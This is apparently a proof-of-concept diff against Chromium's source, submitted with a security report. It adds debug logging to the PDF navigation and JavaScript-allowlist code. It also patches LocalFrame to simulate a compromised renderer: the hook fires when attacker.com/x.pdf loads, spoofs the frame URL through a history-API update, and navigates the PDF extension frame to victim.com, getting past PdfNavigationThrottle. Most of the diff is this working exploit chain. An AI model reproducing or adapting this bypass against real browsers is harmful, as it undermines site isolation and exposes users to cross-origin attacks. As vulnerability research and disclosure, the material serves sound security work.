diff --git a/chrome/browser/content_settings/page_specific_content_settings_delegate.cc b/chrome/browser/content_settings/page_specific_content_settings_delegate.cc index f2157a76dc0a8..7dc78c2961676 100644 --- a/chrome/browser/content_settings/page_specific_content_settings_delegate.cc +++ b/chrome/browser/content_settings/page_specific_content_settings_delegate.cc @@ -318,6 +318,8 @@ bool PageSpecificContentSettingsDelegate::IsFrameAllowlistedForJavaScript( // Allow the MIME handler extension frame and content frame to use JavaScript. if (mime_handler_stream_manager->IsExtensionHost(render_frame_host) || mime_handler_stream_manager->IsContentHost(render_frame_host)) { + LOG(ERROR) << "[POC-BROWSER] IsFrameAllowlistedForJavaScript=true" + << " ftn=" << render_frame_host->GetFrameTreeNodeId(); return true; } #endif // BUILDFLAG(ENABLE_PDF) diff --git a/chrome/browser/pdf/chrome_pdf_stream_delegate.cc b/chrome/browser/pdf/chrome_pdf_stream_delegate.cc index dd48ee2a99aee..0125de93bbf13 100644 --- a/chrome/browser/pdf/chrome_pdf_stream_delegate.cc +++ b/chrome/browser/pdf/chrome_pdf_stream_delegate.cc @@ -277,6 +277,9 @@ bool ChromePdfStreamDelegate::ShouldAllowPdfExtensionFrameNavigation( bool ChromePdfStreamDelegate::ShouldAllowPdfFrameNavigation( content::NavigationHandle* navigation_handle) { + LOG(ERROR) << "[POC-BROWSER] ShouldAllowPdfFrameNavigation url=" + << navigation_handle->GetURL() << " ftn=" + << navigation_handle->GetFrameTreeNodeId(); // Blocks any non-setup navigations in the PDF extension frame and the PDF // content frame. @@ -308,6 +311,8 @@ bool ChromePdfStreamDelegate::ShouldAllowPdfFrameNavigation( mime_handler_stream_manager->GetStreamContainer(parent_frame); content::FrameTreeNodeId frame_tree_node_id = navigation_handle->GetFrameTreeNodeId(); + LOG(ERROR) << "[POC-BROWSER] parent=" << parent_frame->GetLastCommittedURL() + << " GetStreamContainer(parent)=" << !!stream; if (stream) { // Allow navigations for unrelated frames, which might be injected by // unrelated extensions. Only allow the MIME handler extension frame to diff --git a/components/content_settings/browser/page_specific_content_settings.cc b/components/content_settings/browser/page_specific_content_settings.cc index f17e6c9d13f98..a7e1054f488fd 100644 --- a/components/content_settings/browser/page_specific_content_settings.cc +++ b/components/content_settings/browser/page_specific_content_settings.cc @@ -476,11 +476,17 @@ void WebContentsHandler::ReadyToCommitNavigation( auto content_settings = blink::CreateDefaultRendererContentSettings(); // The `Delegate` may have use cases for allowing JavaScript in a frame, // regardless of the content setting. - content_settings->allow_script = - delegate()->IsFrameAllowlistedForJavaScript(rfh) || + const bool poc_allowlisted = delegate()->IsFrameAllowlistedForJavaScript(rfh); + const bool poc_setting_allow = map_->GetContentSetting(primary_url, secondary_url, ContentSettingsType::JAVASCRIPT) == - CONTENT_SETTING_ALLOW; + CONTENT_SETTING_ALLOW; + content_settings->allow_script = poc_allowlisted || poc_setting_allow; + LOG(ERROR) << "[POC-BROWSER] ReadyToCommit url=" << secondary_url + << " primary=" << primary_url + << " IsFrameAllowlistedForJavaScript=" << poc_allowlisted + << " content_setting_allow=" << poc_setting_allow + << " => allow_script=" << content_settings->allow_script; content_settings->allow_popup = map_->GetContentSetting(primary_url, secondary_url, ContentSettingsType::POPUPS) == diff --git a/third_party/blink/renderer/core/frame/local_frame.cc b/third_party/blink/renderer/core/frame/local_frame.cc index d8302afca6c09..253ca8a8effbb 100644 --- a/third_party/blink/renderer/core/frame/local_frame.cc +++ b/third_party/blink/renderer/core/frame/local_frame.cc @@ -3350,8 +3350,90 @@ void LocalFrame::CountUseIfFeatureWouldBeBlockedByPermissionsPolicy( } } +// ----- POC injection: simulated compromised-renderer payload ------------- +// This block runs entirely inside the (untrusted) renderer process. It models +// an attacker who already has native code execution in the attacker.com +// renderer and therefore (a) does not depend on JavaScript being enabled and +// (b) can address the OOPIF-PDF wrapper's shadow-DOM child frame directly. +// No browser-process security check is altered. +namespace { + +void PocCompromisedRendererStep2(LocalFrame* wrapper) { + if (!wrapper) { + return; + } + // Step 2: navigate the wrapper's shadow-root child (the PDF extension FTN) + // to victim.com. In this process the child is a RemoteFrame; a real + // compromised renderer would walk the in-process frame tree exactly like + // this, regardless of closed-shadow-root scoping. + Frame* child = wrapper->Tree().FirstChild(); + if (!child) { + LOG(ERROR) << "[POC-RENDERER] no child frame; aborting"; + return; + } + LOG(ERROR) << "[POC-RENDERER] child IsRemoteFrame=" << child->IsRemoteFrame(); + KURL victim("http://victim.com:8080/victim.html?via-pdf-ext-ftn"); + ResourceRequestHead rr(victim); + FrameLoadRequest req(wrapper->DomWindow(), rr); + req.SetClientNavigationReason(ClientNavigationReason::kFrameNavigation); + child->Navigate(req, WebFrameLoadType::kStandard); + LOG(ERROR) << "[POC-RENDERER] navigated extension FTN to victim.com"; +} + +void PocCompromisedRendererStep1(LocalFrame* wrapper) { + if (!wrapper || !wrapper->GetDocument() || + !wrapper->Loader().GetDocumentLoader()) { + return; + } + LOG(ERROR) << "[POC-RENDERER] payload firing in " + << wrapper->GetDocument()->Url().GetString().Utf8(); + + // Step 1: same-document history-API navigation (pushState equivalent) so + // that the browser-side embedder_host->GetLastCommittedURL() no longer + // equals stream->original_url(); this makes + // MimeHandlerStreamManager::GetStreamContainer(embedder) return null and + // lets the extension-FTN re-navigation past PdfNavigationThrottle. + KURL spoofed(wrapper->GetDocument()->Url(), "/other"); + wrapper->Loader().GetDocumentLoader()->RunURLAndHistoryUpdateSteps( + spoofed, /*history_item=*/nullptr, + mojom::blink::SameDocumentNavigationType::kHistoryApi, + /*data=*/nullptr, WebFrameLoadType::kReplaceCurrentItem, + FirePopstate::kNo, /*should_skip_screenshot=*/true, + UserNavigationInvolvement::kNone); + LOG(ERROR) << "[POC-RENDERER] after pushState, wrapper URL = " + << wrapper->GetDocument()->Url().GetString().Utf8(); + + // Give the same-document-commit IPC time to land in the browser before the + // OpenURL IPC for step 2 (they ride different mojo pipes; a real attacker + // would simply spin or retry). + wrapper->GetTaskRunner(TaskType::kInternalDefault) + ->PostDelayedTask(FROM_HERE, + BindOnce(&PocCompromisedRendererStep2, + WrapWeakPersistent(wrapper)), + base::Seconds(1)); +} + +} // namespace + void LocalFrame::FinishedLoading(FrameLoader::NavigationFinishState state) { DomWindow()->FinishedLoading(state); + + // POC hook: when the OOPIF-PDF wrapper (which commits at the original + // attacker.com PDF URL) finishes loading in the attacker.com renderer, + // schedule the simulated compromised-renderer payload. The 5s delay gives + // the chrome-extension and PDF-content frames time to commit so that + // DidExtensionFrameFinishNavigation() is true and the throttle would + // otherwise block the re-navigation. + if (IsOutermostMainFrame() && GetDocument() && + GetDocument()->Url().Host() == "attacker.com" && + GetDocument()->Url().GetPath() == "/x.pdf") { + LOG(ERROR) << "[POC-RENDERER] wrapper finished loading; arming payload"; + GetTaskRunner(TaskType::kInternalDefault) + ->PostDelayedTask(FROM_HERE, + BindOnce(&PocCompromisedRendererStep1, + WrapWeakPersistent(this)), + base::Seconds(5)); + } } void LocalFrame::UpdateFaviconURL() {